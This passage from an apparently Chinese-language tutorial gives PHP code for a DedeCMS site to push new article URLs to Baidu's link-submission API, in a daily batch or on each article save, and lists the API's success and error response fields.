require_once('include/charset.func.php');

$year = date("Y");
$month = date("m");
$day = date("d");
$dayBegin = mktime(0,0,0,$month,$day,$year);//当天开始时间戳
$dayEnd = mktime(23,59,59,$month,$day,$year);//当天结束时间戳

$query = "SELECT arch.id,types.typedir FROM dede_arctype as types inner join dede_archives as arch on types.id=arch.typeid where pubdate<".$dayEnd." AND pubdate>".$dayBegin."";  //这里dede换成你们自己的表前缀


$urls="";
                
$dsql->Execute('arch.id,types.typedir',$query);
while($row = $dsql->GetArray('arch.id,types.typedir'))
{
    $urls.="http://www.baidu.com".str_replace("{cmspath}","",$row['typedir'])."/".$row[id].".html".",";    
    //将上边的http://baidub.com换成你的网址
}
$urls=substr($urls,0,-1);
$urls    = explode(",",$urls);

$api = 'http://data.zz.baidu.com/urls?site=www.baidu.com&token=hereistoken'; // 前边的site换成自己的site    xxx换成自己的密钥
$ch = curl_init();
$options =  array(
    CURLOPT_URL => $api,
    CURLOPT_POST => true,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POSTFIELDS => implode("\n", $urls),
    CURLOPT_HTTPHEADER => array('Content-Type: text/plain'),
);
curl_setopt_array($ch, $options);
$result = curl_exec($ch);
echo $result.count($urls);
?>

查看推送反馈

推送成功

状态码为200,可能返回以下字段:
字段 是否必选 参数类型 说明
success int 成功推送的url条数
remain int 当天剩余的可推送url条数
not_same_site array 由于不是本站url而未处理的url列表
not_valid array 不合法的url列表

成功返回示例:

{
    "remain":4999998,
    "success":2,
    "not_same_site":[],
    "not_valid":[]
}
推送失败
状态码为4xx,返回字段有:
字段 是否必传 类型 说明
error int 错误码,与状态码相同
message string 错误描述

失败返回示例:

{
    "error":401,
    "message":"token is not valid"
}

2、
    第二种是发布一篇文章,就像百度推送一次,这种比较方便,我就是用这种
   
    打开织梦后台的 article_add.php 文件.找到差不多262行的样子
    注意:如果你系统设置的-》核心选项

如果是否直接.加入以下代码,否则 注意下面的提示

    //百度推送
    $urls="http://www.baidu.com".$artUrl;//前面域名换成你自己的   如果上面图片选择的是是  就把"http://baidu.com". 去掉
    $urls    = explode(",",$urls);

    $api = 'http://data.zz.baidu.com/urls?site=www.0cx.cc&token=hereistoken'; // 前边site换成自己的site   xxx换成自己的密钥
    $ch = curl_init();
    $options =  array(
        CURLOPT_URL => $api,
        CURLOPT_POST => true,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POSTFIELDS => implode("\n", $urls),
        CURLOPT_HTTPHEADER => array('Content-Type: text/plain'),
    );
    curl_setopt_array($ch, $options);
    $result = curl_exec($ch);   

 就OK了  ,如果想看添加成功没,可以在修改下面一两行的样子的代码

  请选择你的后续操作".$result.$urls[0].":

result是看百度返回的结果,urls是看你推送的url.

基本上就OK了,如果你想让修改文章的时候也事实推送,就类似我上面一样去修改article_edit.php就好了.